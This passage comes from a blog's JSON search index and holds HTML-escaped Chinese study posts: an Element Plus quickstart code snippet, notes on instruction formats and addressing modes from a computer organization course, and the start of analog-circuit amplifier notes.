class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-config-provider :size=\u0026#34;size\u0026#34; :z-index=\u0026#34;zIndex\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;app /\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/el-config-provider\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineComponent } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElConfigProvider } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineComponent({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ElConfigProvider,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e setup() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zIndex: 3000,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size: \u0026#39;small\u0026#39;,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"使用-Nuxt-js\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E4%BD%BF%E7%94%A8-Nuxt-js\" class=\"headerlink\" title=\"使用 Nuxt.js#\"\u003e\u003c/a\u003e使用 Nuxt.js\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E4%BD%BF%E7%94%A8-nuxt-js\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们也可以使用 \u003ca href=\"https://v3.nuxtjs.org/\"\u003eNuxt.js\u003c/a\u003e:\u003c/p\u003e\u003ch2 id=\"开始使用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"开始使用#\"\u003e\u003c/a\u003e开始使用\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e现在你可以启动项目了。 具体每个组件的使用方法, 请查阅 \u003ca href=\"https://element-plus.org/en-US/component/button.html\"\u003e每个组件的独立文档\u003c/a\u003e.\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/"},{"title":"计组笔记:第五章-指令系统","time":"2023-06-17T12:07:32Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e指令是硬件和软件的中间层。指令系统的设计主要包括\u003cstrong\u003e指令功能\u003c/strong\u003e和\u003cstrong\u003e指令格式\u003c/strong\u003e的设计。它的评价指标有四点:完备(不能缺少功能)、高效(省地方一点)、规整(格式简单一点)、兼容性(向后兼容,无成本迁移)四方面。\u003c/p\u003e\u003ch2 id=\"指令的基本格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"指令的基本格式\"\u003e\u003c/a\u003e指令的基本格式\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201110.png\"/\u003e\u003c/p\u003e\u003cp\u003e主要是两部分,首先是\u003cstrong\u003e操作码\u003c/strong\u003e,其次是数个地址(0个或多个)。将二进制编码用助记符表示,就是汇编语言。\u003c/p\u003e\u003cp\u003e计算机的存储方式有\u003cstrong\u003e大端存储(从数据的高字节开始存)、小端存储(从数据的低字节开始存)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201456.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201611.png\"/\u003e\u003c/p\u003e\u003cp\u003e此外还有\u003cstrong\u003e边界对齐\u003c/strong\u003e的概念。如图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201659.png\"/\u003e\u003c/p\u003e\u003cp\u003e还有一种存储模式,\u003cstrong\u003e堆栈\u003c/strong\u003e。这里的堆栈应该就是栈,堆和栈是俩不一样的东西,堆是存程序malloc的内存的,栈是存程序函数调用开销的,这俩在程序的内存中存储的位置也不一样。\u003c/p\u003e\u003cp\u003e存储模式也有两类:冯诺依曼结构(程序和数据等价)、哈佛结构(程序和数据不对等)。后者对于流水线结构有优化,能达到流水线的理想性能。现在的芯片内部Cache有的会使用哈佛结构:数据Cache、指令Cache,而外部使用冯诺依曼结构。\u003c/p\u003e\u003ch2 id=\"指令的典型分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%85%B8%E5%9E%8B%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"指令的典型分类\"\u003e\u003c/a\u003e指令的典型分类\u003c/h2\u003e\u003cul\u003e\u003cli\u003e数据传送类:频率最高,要快\u003c/li\u003e\u003cli\u003e算数运算类\u003c/li\u003e\u003cli\u003e逻辑运算类\u003c/li\u003e\u003cli\u003e程序控制类\u003cul\u003e\u003cli\u003e转移\u003c/li\u003e\u003cli\u003e循环\u003c/li\u003e\u003cli\u003e过程调用、返回指令\u003c/li\u003e\u003cli\u003e程序自中断指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e系统控制类:特权指令,虚存管理、任务切换、改变处理器工作模式\u003c/li\u003e\u003cli\u003e数据转换类:可选\u003c/li\u003e\u003cli\u003e输入输出类:根据统一编址(把接口的寄存器映射到主存,用数据传输指令访问外设)和独立编址,可能没有专门的输入输出指令。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"寻址方式:指令获取操作数的方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E5%AF%BB%E5%9D%80%E6%96%B9%E5%BC%8F%EF%BC%9A%E6%8C%87%E4%BB%A4%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E6%95%B0%E7%9A%84%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"寻址方式:指令获取操作数的方式\"\u003e\u003c/a\u003e寻址方式:指令获取操作数的方式\u003c/h2\u003e\u003cul\u003e\u003cli\u003e隐含寻址:例如Intel指令\u003ccode\u003eMUL BL\u003c/code\u003e,事先规定好了地址在哪\u003c/li\u003e\u003cli\u003e立即寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203658.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203717.png\"/\u003e\u003c/li\u003e\u003cli\u003e直接寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203731.png\"/\u003e\u003c/li\u003e\u003cli\u003e间接寻址:操作数地址的地址,需要访问两次主存,比较慢\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203746.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器间接寻址:把上面的地址放在CPU内部寄存器\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203754.png\"/\u003e\u003c/li\u003e\u003cli\u003e基址寻址:用来实现主存分段 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203826.png\"/\u003e\u003c/li\u003e\u003cli\u003e变址寻址:用来实现数组遍历 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203835.png\"/\u003e\u003c/li\u003e\u003cli\u003ePC相对寻址:PC指向下一条指令,这个方式给PC加偏移量,所以能用来实现与地址无关的程序设计\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203551.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e例如,x86处理器的条件转移指令就是一种PC相对寻址。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204150.png\"/\u003e\u003c/p\u003e\u003cp\u003e无关位置的程序实现:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚存管理:逻辑地址\u003c/li\u003e\u003cli\u003e内存分段管理:段内偏移\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面两种方案的缺点是位数多,占用指令存储空间大。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204711.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"指令长度设计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E9%95%BF%E5%BA%A6%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"指令长度设计\"\u003e\u003c/a\u003e指令长度设计\u003c/h2\u003e\u003cul\u003e\u003cli\u003e一般原则\u003cul\u003e\u003cli\u003e指令长度为存储器\u003cstrong\u003e最小可寻址单位\u003c/strong\u003e的整数倍:(CISC)(x86)\u003c/li\u003e\u003cli\u003e指令长度一般为\u003cstrong\u003e总线宽度\u003c/strong\u003e的整数倍:RISC\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e常用设计方案\u003cul\u003e\u003cli\u003e变长操作码,变长指令码:CISC(x86)\u003c/li\u003e\u003cli\u003e定长操作码,定长指令码:RISC\u003cul\u003e\u003cli\u003eMIPS,6位定长操作码,32位定长指令码\u003c/li\u003e\u003cli\u003eRISC-V,7位定长操作码,32位定长指令码\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e操作码\u003c/strong\u003e格式分为\u003cstrong\u003e定长、变长操作码\u003c/strong\u003e,变长操作码为了防止重复指令,得用赫夫曼编码来编制操作码。\u003c/p\u003e\u003col\u003e\u003cli\u003e定长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于定长操作码,可以将指令从高频到低频排序,依次给从0开始编号。\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:操作码构造简单,硬件设计简单,译码速度快\u003c/li\u003e\u003cli\u003e缺点:操作码占存储空间大,难以扩展\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e变长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于变长操作码,按照频率高到低排序,再构造霍夫曼树作为编码结果。\u003c/p\u003e\u003cp\u003e变长操作码设计原则:\u003c/p\u003e\u003cul\u003e\u003cli\u003e若指令字长度固定,则长地址码对应短操作码,操作码长度随地址码长度缩短而增加\u003c/li\u003e\u003cli\u003e如果指令字长度可变,则以指令使用频率为设计依据,高频短码,低频长码\u003c/li\u003e\u003cli\u003e设计总是\u003cstrong\u003e从短码开始\u003c/strong\u003e,并且保证现在的操作码和以后扩展的编码能区分\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e短码不能是长码的前缀\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据赫夫曼编码的合并方式不同,得到的结果可能不唯一,但是\u003cstrong\u003e平均码长一定是唯一的\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e缺点:编码长度种类过多,电路设计困难\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617205817.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e扩展操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e是将赫夫曼编码的码长变为更少的种类。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013331.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,它编码种类较少的同时,码长也很接近赫夫曼编码。因此实际设计时,一般使用这种设计方式。比如CISC的x86就可以这么设计。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617210813.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是两种设计方式。一个长度的指令码必须保留一种组合给更长的指令码做前缀。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013746.png\"/\u003e\u003c/p\u003e\u003cp\u003e因此,上面的操作码可以设计如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e三地址:操作码6位,指令数$n_3\\leq2^6-1$\u003c/li\u003e\u003cli\u003e双地址:操作码11位,指令数$n_2\\leq(2^6-n_3)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e单地址:操作码16位,指令数$n_1\\leq((2^6-n_3)\\cdot2^5-n_2)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e零地址:操作码32位,指令数$n_0\\leq(((2^6-n_3)\\cdot 2^5 - n_2)\\cdot2^5-n_1)\\times2^{16}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014509.png\"/\u003e\u003c/p\u003e\u003cp\u003e对于上面的问题,相当于计算单地址指令一共有多少个。我们分析如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014832.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图的不等式能解出来,B类指令最多一共有254条。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617211810.png\"/\u003e\u003c/p\u003e\u003cp\u003e上题还是从短码开始考虑。首先短码有m条,则剩下的前缀有$2^4-m$个。再乘以长码扩展的长度$2^6$,就能得到长码最多的个数。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015643.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015933.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617213025.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"5-6-典型指令系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#5-6-%E5%85%B8%E5%9E%8B%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"5.6.典型指令系统\"\u003e\u003c/a\u003e5.6.典型指令系统\u003c/h2\u003e\u003ch3 id=\"Intel-x86\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#Intel-x86\" class=\"headerlink\" title=\"Intel x86\"\u003e\u003c/a\u003eIntel x86\u003c/h3\u003e\u003cp\u003e发展:从诞生时的80条指令增长到2015的3600条指令(来源Intel博客)。\u003c/p\u003e\u003cp\u003e十分复杂,指令集手册5000多页(\u003c/p\u003e\u003cp\u003e目前在向着RISC的方向均衡。它十分适合高性能计算。\u003c/p\u003e\u003ch3 id=\"MIPS\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#MIPS\" class=\"headerlink\" title=\"MIPS\"\u003e\u003c/a\u003eMIPS\u003c/h3\u003e\u003cp\u003eARM手册也长,8000多页(\u003c/p\u003e\u003cp\u003e32位MIPS\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023229.png\"/\u003e\u003c/p\u003e\u003cp\u003e64位MIPS,14种指令格式\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023357.png\"/\u003e\u003c/p\u003e\u003cp\u003eMIPS是arm流行之前,最流行的处理器。\u003c/p\u003e\u003cp\u003e这一章基本就是这样了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/"},{"title":"模电:第三章-放大电路分析方法","time":"2023-06-13T12:54:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"集电极放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E7%94%B5%E6%9E%81%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"集电极放大电路\"\u003e\u003c/a\u003e集电极放大电路\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605182453.png\"/\u003e\u003c/p\u003e\u003cp\u003e电路分析使用\u003cstrong\u003e静态分析\u003c/strong\u003e和\u003cstrong\u003e动态分析\u003c/strong\u003e两种方式,分别针对直流通路和交流通路。前者确定其静态工作点,后者确定其放大参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e静态分析\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e原理:KCL,列写方程如下:$V_{cc}=I_{BQ}R_b+U_{BEQ}+I_{EQ}R_e$\u003c/p\u003e\u003cp\u003e从而得到$Q(I_{BQ},I_{CQ},U_{CEQ})$如下:\u003c/p\u003e\u003col\u003e\u003cli\u003e$I_{BQ}=\\frac{V_{CC}-U_{BEQ}}{R_b}$\u003c/li\u003e\u003cli\u003e$I_{CQ}=\\beta I_{BQ}$\u003c/li\u003e\u003cli\u003e$U_{CEQ}=V_{CC}-I_{EQ}R_e=V_{CC}-I_{CQ}R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e动态分析:利用微变等效电路\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e交流输入电阻:$r_{be}=r_{bb’}+\\beta\\frac{U_T(26mv)}{I_{CQ}}$\u003c/li\u003e\u003cli\u003e电压放大倍数:$A_u=\\frac{U_o}{U_i}=-\\beta\\frac{R_L’(=R_C//R_L)}{R_{be}}$\u003c/li\u003e\u003cli\u003e输入电阻:$R_i=\\frac{U_i}{I_i}=R_b//r_{be}$\u003c/li\u003e\u003cli\u003e输出电阻:$R_o=R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e失真现象:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意:下面的讨论限于NPN型电路,PNP型需要反过来理解。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e消除方法\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eQ点过高:$I_{BQ}$偏大\u003c/td\u003e\u003ctd\u003e饱和失真(底部失真)\u003c/td\u003e\u003ctd\u003e增大$R_b$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eQ点过低:$I_{BQ}$偏小\u003c/td\u003e\u003ctd\u003e截止失真(顶部失真)\u003c/td\u003e\u003ctd\u003e减小$R_b$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e功率电子电路:还有一种失真是针对\u003cstrong\u003e乙型功率放大电路\u003c/strong\u003e的,它将两个三极管组合起来分别放大正版周期和负半周期。在接近$U$轴时,两个三极管均会进入截止区,此时信号会出现\u003cstrong\u003e交越失真\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e共基极放大电路特点:电压跟随、输入电阻大、输出电阻小\u003c/p\u003e\u003ch2 id=\"多级放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%A4%9A%E7%BA%A7%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"多级放大电路\"\u003e\u003c/a\u003e多级放大电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e耦合方式\u003cul\u003e\u003cli\u003e阻容耦合\u003cul\u003e\u003cli\u003e各级静态工作点独立,便于分析设计\u003c/li\u003e\u003cli\u003e难以大规模集成\u003c/li\u003e\u003cli\u003e不能放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e直接耦合\u003cul\u003e\u003cli\u003e各级静态工作点不独立,存在零点漂移(温度变化造成)\u003c/li\u003e\u003cli\u003e可以大规模集成\u003c/li\u003e\u003cli\u003e能同时放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的放大倍数等于各级放大倍数的乘积。它的动态/静态分析从输入端到输出端进行。\u003c/p\u003e\u003ch2 id=\"差动放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%B7%AE%E5%8A%A8%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"差动放大电路\"\u003e\u003c/a\u003e差动放大电路\u003c/h2\u003e\u003cp\u003e它使用外部干扰作用于两个端口上的干扰信号程度一致这个特性,将输入分为共模/\u003cstrong\u003e差模\u003c/strong\u003e信号,以将干扰抵消。\u003c/p\u003e\u003ch2 id=\"负反馈电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E8%B4%9F%E5%8F%8D%E9%A6%88%E7%94%B5%E8%B7%AF\" class=\"headerlink\" 